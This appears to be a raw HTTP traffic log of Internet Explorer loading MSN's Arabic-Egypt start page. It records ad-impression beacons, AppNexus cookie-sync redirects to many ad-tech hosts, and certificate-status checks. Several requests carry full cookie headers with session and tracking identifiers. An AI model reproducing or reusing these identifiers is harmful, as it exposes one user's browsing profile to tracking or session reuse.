Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/S?iJ(R@zDQ/VMy4G=jT*VJjJC.`YUi%4S#@F2`iG!A?rMYp^'B6WW?$c1((J`TfL7E<mn24=`gGN`%p$05(b-1Y.K$V_yv?$jh_>2/8vhY(TWB9W]KNdA<LxwW5thks+rKANrn0734j)_F'w+vTJ.u.fWm_-3!Da)DpD'6IEA$zMj_lTOUG7^uke1VKGEk?0^*bgLk%Gkn:t4q>HR35uME#G(/I=U_'=^9.`Lmbs'>mWoAgmye)COs)KK_z??G4HnwS26Z`.#oM`pz0n:$DtD0V1<*FbU1wN3Fd*hfN[Q=7Yd<D34dS5J%**C?*`:yZ'Pm!8T5!d+^..>Ev!RcC5:gVBfPm>WBNma)$zmb88k:A5eR(tK+hSUagm4*SwJf.)UeLG@*+8kL>sv`3V.33B4bnrhN:%MJ:qw[X9k26P%:XgGD6J55l2]LW=oWfKJu_K191e4TuqNNpi:$J#-#tGrc9#DZ8AhUSP0/3[c<?X^[@DgH_sT'gOa*)N*vU>7gE^rt@o@-BMXwuKSXGoT$`q0/xQ<?)P3Mv(xTS<>UsFjt=[/A'p(`.'XuB#4pH:*eWGgL[%W_abzi49NTU)Btvb3jNno_ALm[?Uv9B5U#o6Kh90Shsc(+`y-eJ)f4RVP.$vxU<QSXCmqBWg_*CU%'@NEk?qQFjzz)T[Qx/$IJ'xy@Z]d1/?5OHi4_K%^/^tKt2f>fc2d:8B.KA%SL[#u9/-K-Oe8IYOoA57rGUVb^$FS'M.J:WMG]nBmIocKw#EK-TtM]lLh99Y5jka0s-_zLj(qScsCa6U9g1p2'eRU-m2KgO:KF$qnP'V4@Pd]H[+>xr0!-#tbr[G[+L6Vs(O<cI['_@1fjgnwUMW*Nj:D3O*>6b(N'3!%qYWCzW+2cdZY6e`0tOQqL<]BWSIEwR%!%_L<m@MZP<Ly!iEhDO`iPdnv7J4h.Ur>KURP+@0W(*F]9KpMK4Mm8F?UCpjXB=X`YI#SjTt<cZz6)OJ4oy16D]WIp28Y:X]IMdk>!l#Aa39>9
http://otf.msn.com/c.gif?rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071411483&idx=4&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&evt=adimpr_update&dst=1435&den=1439&id=rectangle1_home_1&pg=MSNEGAR11&w=300&h=600&status=success&anAd=117519349&sdk=appnexus&fen=3298
GET /c.gif?rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071411483&idx=4&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&evt=adimpr_update&dst=1435&den=1439&id=rectangle1_home_1&pg=MSNEGAR11&w=300&h=600&status=success&anAd=117519349&sdk=appnexus&fen=3298 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: otf.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2MzcwODE5ODUzMTUwMDI1ODMsIlZlcnNpb24iOjF90; amrexp=1; marketPref=ar-eg; _EDGE_V=1; MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; _SS=SID=00; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tK
http://otf.msn.com/c.gif?rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071411484&idx=5&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&evt=adimpr_update&dst=1388&den=1433&id=banner1_homepag_0&pg=MSNEGAR15&w=970&h=250&status=success&anAd=94035692&sdk=appnexus&fen=3344
GET /c.gif?rid=9fd4eda86a954f1a8e448d3140f41e75&cts=1541071411484&idx=5&clid=0DACC1BA7F8E61DB2C93CDCD7E3960C2&issso=0&aadState=2&di=16323&mkt=ar-eg&su=http%253A%252F%252Fwww.msn.com%252Far-eg%252F%253Focid%253Diehp&flightid=muidflt19cf%2Cmuidflt49cf%2Cmuidflt298cf%2Cbingmsncombined5cf%2Cpneedge2cf%2Cstarthp2cf%2Cbingcollabhp3cf%2Ccompliancehp1cf%2Cplatagyhz1cf%2Cplatagyhz2cf%2Caudexhz2cf%2Cgallery4cf%2Cgallery5cf&activityId=9fd4eda86a954f1a8e448d3140f41e75&cvs=Browser&subcvs=homepage&pg.n=startpage&pg.t=hp&pg.p=prime&evt=adimpr_update&dst=1388&den=1433&id=banner1_homepag_0&pg=MSNEGAR15&w=970&h=250&status=success&anAd=94035692&sdk=appnexus&fen=3344 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: otf.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJhci1lZyIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZnItZnIiLCJDb3VudHJ5Q29kZSI6Ik1BIn19LCJFeHBpcnlUaW1lIjo2MzcwODE5ODUzMTUwMDI1ODMsIlZlcnNpb24iOjF90; amrexp=1; marketPref=ar-eg; _EDGE_V=1; MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; _SS=SID=00; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe
http://otf.msn.com/c.gif?
POST /c.gif? HTTP/1.1
Accept: */*
Content-Type: application/json; charset=utf-8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: otf.msn.com
Content-Length: 908
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

http://185.33.223.202/setuid?entity=384&code=8fXNWb3aAK2bmHFzY06zWw
GET /setuid?entity=384&code=8fXNWb3aAK2bmHFzY06zWw HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/S?iJ(R@zDQ/VMy4G=jT*VJjJC.`YUi%4S#@F2`iG!A?rMYp^'B6WW?$c1((J`TfL7E<mn24=`gGN`%p$05(b-1Y.K$V_yv?$jh_>2/8vhY(TWB9W]KNdA<LxwW5thks+rKANrn0734j)_F'w+vTJ.u.fWm_-3!Da)DpD'6IEA$zMj_lTOUG7^uke1VKGEk?0^*bgLk%Gkn:t4q>HR35uME#G(/I=U_'=^9.`Lmbs'>mWoAgmye)COs)KK_z??G4HnwS26Z`.#oM`pz0n:$DtD0V1<*FbU1wN3Fd*hfN[Q=7Yd<D34dS5J%**C?*`:yZ'Pm!8T5!d+^..>Ev!RcC5:gVBfPm>WBNma)$zmb88k:A5eR(tK+hSUagm4*SwJf.)UeLG@*+8kL>sv`3V.33B4bnrhN:%MJ:qw[X9k26P%:XgGD6J55l2]LW=oWfKJu_K191e4TuqNNpi:$J#-#tGrc9#DZ8AhUSP0/3[c<?X^[@DgH_sT'gOa*)N*vU>7gE^rt@o@-BMXwuKSXGoT$`q0/xQ<?)P3Mv(xTS<>UsFjt=[/A'p(`.'XuB#4pH:*eWGgL[%W_abzi49NTU)Btvb3jNno_ALm[?Uv9B5U#o6Kh90Shsc(+`y-eJ)f4RVP.$vxU<QSXCmqBWg_*CU%'@NEk?qQFjzz)T[Qx/$IJ'xy@Z]d1/?5OHi4_K%^/^tKt2f>fc2d:8B.KA%SL[#u9/-K-Oe8IYOoA57rGUVb^$FS'M.J:WMG]nBmIocKw#EK-TtM]lLh99Y5jka0s-_zLj(qScsCa6U9g1p2'eRU-m2KgO:KF$qnP'V4@Pd]H[+>xr0!-#tbr[G[+L6Vs(O<cI['_@1fjgnwUMW*Nj:D3O*>6b(N'3!%qYWCzW+2cdZY6e`0tOQqL<]BWSIEwR%!%_L<m@MZP<Ly!iEhDO`iPdnv7J4h.Ur>KURP+@0W(*F]9KpMK4Mm8F?UCpjXB=X`YI#SjTt<cZz6)OJ4oy16D]WIp28Y:X]IMdk>!l#Aa39>9-UY'dV%-dfgt%
http://d.agkn.com/pixel/2151/?che=1541071411&puid=
GET /pixel/2151/?che=1541071411&puid= HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: d.agkn.com
DNT: 1
Connection: Keep-Alive
Cookie: ab=0001%3AEvPAGWGGsxRWcmMsUmvCLaue8GKh2kmP

http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAilokbNS1yMg9cCtLurU0k%3D
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAilokbNS1yMg9cCtLurU0k%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com

http://c.bing.com/c.gif?Red3=MSNLI_pd&rid=9fd4eda8-6a95-4f1a-8e44-8d3140f41e75&lang=ar-eg&dgk=tmx.pc.ms.ie10plus&imd=0&pn=startpage&rf=&tp=http://www.msn.com/ar-eg/?ocid=iehp
GET /c.gif?Red3=MSNLI_pd&rid=9fd4eda8-6a95-4f1a-8e44-8d3140f41e75&lang=ar-eg&dgk=tmx.pc.ms.ie10plus&imd=0&pn=startpage&rf=&tp=http://www.msn.com/ar-eg/?ocid=iehp HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: c.bing.com
DNT: 1
Connection: Keep-Alive
Cookie: MUID=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRCHD=AF=IE8SRC; SRCHUID=V=2&GUID=65D46305A0944DE9B6F19C3DBF7DD0FF&dmnchg=1; SRCHUSR=DOB=20181002&T=1539853912000&POEX=W; _UR=D=1; SRCHHPGUSR=CW=1423&CH=806&UTC=60&WTS=63675450712&DPR=1; ANON=A=46C6EB2CABC3D9CDC8B6293CFFFFFFFF&E=15cf&W=1; NAP=V=1.9&E=1575&C=DvDMDtE-M2uUci6FaTwdCta4KAxhrPx23tKe_aDuhpiDWk8AveKm2g&W=1; _SS=SID=0B1D1AFE0629624619001664079E63E3; MR=0; SRM_B=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRM_M=0DACC1BA7F8E61DB2C93CDCD7E3960C2; MUIDB=0DACC1BA7F8E61DB2C93CDCD7E3960C2; SRA_B=46C6EB2CABC3D9CDC8B6293CFFFFFFFF; SRA_M=46C6EB2CABC3D9CDC8B6293CFFFFFFFF

http://status.rapidssl.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRhhZrQET0hvbSHUJmNfBKqR%2FiT7wQUU8oXWfxrwAMhLxqu5KqoHIJW2nUCEAbXUHz%2F1RxHfvW3TiYmHJ0%3D
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRhhZrQET0hvbSHUJmNfBKqR%2FiT7wQUU8oXWfxrwAMhLxqu5KqoHIJW2nUCEAbXUHz%2F1RxHfvW3TiYmHJ0%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: status.rapidssl.com

http://www.bing.com/favicon.ico
GET /favicon.ico HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: www.bing.com
DNT: 1
Connection: Keep-Alive
Cookie: SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=35D85F7634AF4B8197C391075771E754&dmnchg=1; SRCHUSR=DOB=20181017

http://ib.adnxs.com/async_usersync?cbfn=queuePixels
GET /async_usersync?cbfn=queuePixels HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ib.adnxs.com
DNT: 1
Connection: Keep-Alive
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/S?iJ5V@Bd?-VL<Y]H2^#aqUm[^qW$kogm[%Q`rk'a*>CI:OgqP$728jp/V0r@CytoNQ7v52B(/?90wdC_25]9l$0s:S[sGoY<2tz-3f<72FTOoGG$$03niEg7W#+>yWK[=CKxF/!4%:iM+g'we)=h$6Yn0ww1SL:D:G.i%-c#IuWaJ`5v2hhZ2lc(Pi3cwni+[Z0qK@7[CZ$aXCn$$DTUXkbmOlJ0^A%DQM_2udJdN8efuQ!1p:QhJeD.V/wHsl<.hn!#PmkDm[7?em(l^N<rz'7nFeN(O?!b/f-!fJ6^rIyJ't8Ria/=QSjtE<D$Ku?y8O+TnS49+Zg*s$C[?)xG1Vtgo.IDHKNSO3xck*%rCnmf(QlcbRaU7A$f?:iY!6ujLlNxt8eWvQ3=KOiu!O5==rq5Vk2^(fCrCe?j%Tn=3lKP-vH[.p5AJUm-pCvdw$@=9``oI9kdl@51ehFy4/j6Uqu!:DV?BXsY(@Xl'oxD2wInC)E`VV6.+JZ#?NUVjD(UQaIdrQ%v*.#C=s?kVk7f-RBEq@>qdTB<l^qfEcM=ByvVJW8JXKM[Hs@)C2iIo9U^8rG!2FC.VDegC@E<=q?I.HV:QwuznAbHcEqo%PP1N0Z(@8>qg?4=SuPCalX#OI?s0wRu15/Z3]ug+XojB*4sMT%A_jfALl2dSxOL4XBHeeNjP*_1Bv>YGZ9p=(iQB%lSMZVKXye.Koukvf1l)YkV2'L*Jc5u7K%0!yt4b8/KJJe8Kw-M/yzvj/')JBYm?pS-0B3#3PVX8F!_GQaFA'xCXvK7!1wOsPCt/jW.J^/lhD/<+O`*9O)L/dnNYe0.W2QUWWF_DX7N8FB+?9Ks_/6(`Jq12yzkU='(hs*x8THlg)zpJV0CuVaTR+s6:C!ED3DY_$)gFWhAw^h2h3ZTy61qFV[>RcS>QJ/9TmipyxyJ]C[H6Fb`VfdIM9YP%b'Yj^:J1<kOJ9VuHY0e6x2e6xS$XWkjPV^ot>6DDrWQ4ksMpajZ#iy=w'gEocG8w2#t/
http://pixel.rubiconproject.com/exchange/sync.php?p=prebid
GET /exchange/sync.php?p=prebid HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: pixel.rubiconproject.com
DNT: 1
Connection: Keep-Alive
Cookie: audit="2Vi9kzRSXWJa1iqr2RkNseEjvEtTAxsluoOrg/BCEEBMHWAwuJp0wWEkPbcY/63pSIv5TrtKuqHYF8n+bgL7YA=="; khaos=JND8654G-16-578B; rpb=4894%3D1; sput=428073|1986^3420843456506940071^721; audit="2Vi9kzRSXWKvx52fsrttqOEjvEtTAxslMyg+l9zcOIlCze1JtyYhOGEkPbcY/63pSIv5TrtKuqHYF8n+bgL7YA=="; rpx=4894%3D77070%2C355%2C2%2C%2C

http://ssum-sec.casalemedia.com/usermatchredir?s=184932&cb=https%3A%2F%2Fprebid.adnxs.com%2Fpbs%2Fv1%2Fsetuid%3Fbidder%3DindexExchange%26uid%3D
GET /usermatchredir?s=184932&cb=https%3A%2F%2Fprebid.adnxs.com%2Fpbs%2Fv1%2Fsetuid%3Fbidder%3DindexExchange%26uid%3D HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ssum-sec.casalemedia.com
DNT: 1
Connection: Keep-Alive
Cookie: CMID=W7M14blQJCYAAEuAaaEAAACW; CMPS=208; CMPRO=1830; CMST=W9rMBlvazHIA; CMSUM=2e5bdacc0727603420843456506940071; CMRUM3=2e5bdacc0727603420843456506940071&035bdacc062760388c5bda-c801-4bb2-a352-53f084414829; CMDD=

http://sync.bumlam.com/?src=apn2&uid=3420843456506940071
GET /?src=apn2&uid=3420843456506940071 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: sync.bumlam.com
DNT: 1
Connection: Keep-Alive
Cookie: suuid3=IiRmMGNkZGQwZS1jMjVkLTExZTgtYTBkNy0wMDI1OTBlNDVjMzg*

http://bh.contextweb.com/rtset?pid=561205&ev=1&rurl=https%3A%2F%2Fprebid.adnxs.com%2Fpbs%2Fv1%2Fsetuid%3Fbidder%3Dpulsepoint%26uid%3D%25%25VGUID%25%25
GET /rtset?pid=561205&ev=1&rurl=https%3A%2F%2Fprebid.adnxs.com%2Fpbs%2Fv1%2Fsetuid%3Fbidder%3Dpulsepoint%26uid%3D%25%25VGUID%25%25 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: bh.contextweb.com
DNT: 1
Connection: Keep-Alive
Cookie: V=5TQxNeVWSFEu

http://dmp.truoptik.com/239e300e6dca3b53/sync.gif?dm=ib.adnxs.com&fck=3420843456506940071
GET /239e300e6dca3b53/sync.gif?dm=ib.adnxs.com&fck=3420843456506940071 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: dmp.truoptik.com
DNT: 1
Connection: Keep-Alive

http://magnetic.t.domdex.com/sync/appnexus
GET /sync/appnexus HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: magnetic.t.domdex.com
DNT: 1
Connection: Keep-Alive

http://px.powerlinks.com/user/identify?rurl=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D414%26code%3D%24%7BUSER%7D
GET /user/identify?rurl=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D414%26code%3D%24%7BUSER%7D HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: px.powerlinks.com
DNT: 1
Connection: Keep-Alive

http://185.33.223.202/setuid?entity=402&code=f0cddd0e-c25d-11e8-a0d7-002590e45c38
GET /setuid?entity=402&code=f0cddd0e-c25d-11e8-a0d7-002590e45c38 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/S?k0Ag:5[h0>E?<E(j%h^SXap(4[k*4Mgvm/lP>_$8i_83Eu<23]7FkQjJs_x*%%]?RO+Jp=:r_v@NZ8`1qAv+2yghcA'J%A9U1<oX^cq%VXQv[KMuvcHw`LbWsJ^]VN5/F:bTyVO#f'lHzdN7=ma%b37+d+gA</-9J2MZlok9/7J`9rtG7%QBeVlI/AYHc[Mx_gj>DQZCaoYwCX[OwURM(ss'VnTA26`18T`LtG/J`qMD<3N1mUnyke7orwO`nPNN)c)(nY)i>n_S!.xg4xr3x0C<JS<<?!b5d*bv^-n@e%m#y*WEU.s$gJj%Y38oBgzbBNqy:/5dwv4Mc=[?*9O1Vp3n.e`Q%wchn!k=9%y8UnPL_=A@8bYAHos8nS)N97k+9Rz`g.mN!u?vbNMd-z(uIxw`2pHwawuDL'`9/k:zmfCHeqoD6R014Mv#ZUSIbm4<Jr]PuBH_6!0jJHnz3-ElPjb8Mu7%4LyR?#_qnqD-7dY/0RrS8@3cDft3.IHaCtJQ@LD=0hR#hN<%D7Lu?aok+So.snw$-G7Vj<6%f:>-j/vz@2tf''hxk3l%Ev/uauNbrUSN01WV=p#nT$6_jTG+zF5/syMBCVj?z2EtrQT<KNx(x<Z3i7GGrm7WM6%6oOA$x23!Dlrh!sjGV!LGW=j]NVM?6OCd$ev/I5:B=ut$ILz4)2jzlOS+]Z0JrZZG1lAQGyW_.9jwc0nk!:LL9CGT5V!bNj[#PYHRlTlr@oU=Et6aw>*1qrMY3KswAeju4A?^5JlYZn0KWG6G.IZ3oRf6A%p8^]'Iv67laHZ.nxWWg1@Xi_r'MLUwR=L%3=<uvV:Q%6T(6oqF*>UJZIrZui^]oH0<FDHXyMO:`b(1mv`TgGerE/64UNF`I1IE%Q%uK(Vx2iFZVS>gZh4uXa=m%O=9JLGWve%Ci$eM=%8x5>G.v*f[7JWu1bcRA3jDqmQMM2mZ:Rix[gn1CQS`J$p@zpM#.fCJVax4n?*:]T_ukpz=M:=T[8PQj=w!qVfKTuT
http://sync.ad-stir.com/?symbol=APPNEXUS&uid=$UID
GET /?symbol=APPNEXUS&uid=$UID HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: sync.ad-stir.com
DNT: 1
Connection: Keep-Alive

http://bid.socdm.com/aux/idsync?proto=appnexus_ssp
GET /aux/idsync?proto=appnexus_ssp HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: bid.socdm.com
DNT: 1
Connection: Keep-Alive
Cookie: SOC=W7M5A8Co4VEAAESA-FoAAAAA

http://tags.bluekai.com/site/38310?id=dO-yY1xqF1wP-uMZT1cNPnD9w7JEgnAsmzG0R51pA2A%3D&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D414%26code%3DdO-yY1xqF1wP-uMZT1cNPnD9w7JEgnAsmzG0R51pA2A%253D
GET /site/38310?id=dO-yY1xqF1wP-uMZT1cNPnD9w7JEgnAsmzG0R51pA2A%3D&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D414%26code%3DdO-yY1xqF1wP-uMZT1cNPnD9w7JEgnAsmzG0R51pA2A%253D HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: tags.bluekai.com
DNT: 1
Connection: Keep-Alive

http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAs8O2AaGPWe4ra7BWBe8sA%3D
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAs8O2AaGPWe4ra7BWBe8sA%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com

http://status.geotrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR3enuod9bxDxzpICGW%2B2sabjf17QQUkFj%2FsJx1qFFUd7Ht8qNDFjiebMUCEAEoz8Ps77tT6w0Fatpt3cc%3D
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR3enuod9bxDxzpICGW%2B2sabjf17QQUkFj%2FsJx1qFFUd7Ht8qNDFjiebMUCEAEoz8Ps77tT6w0Fatpt3cc%3D HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: status.geotrust.com

http://185.33.223.202/setuid?entity=417&code=W7M5A8Co4VEAAESA-FoAAAAA
GET /setuid?entity=417&code=W7M5A8Co4VEAAESA-FoAAAAA HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
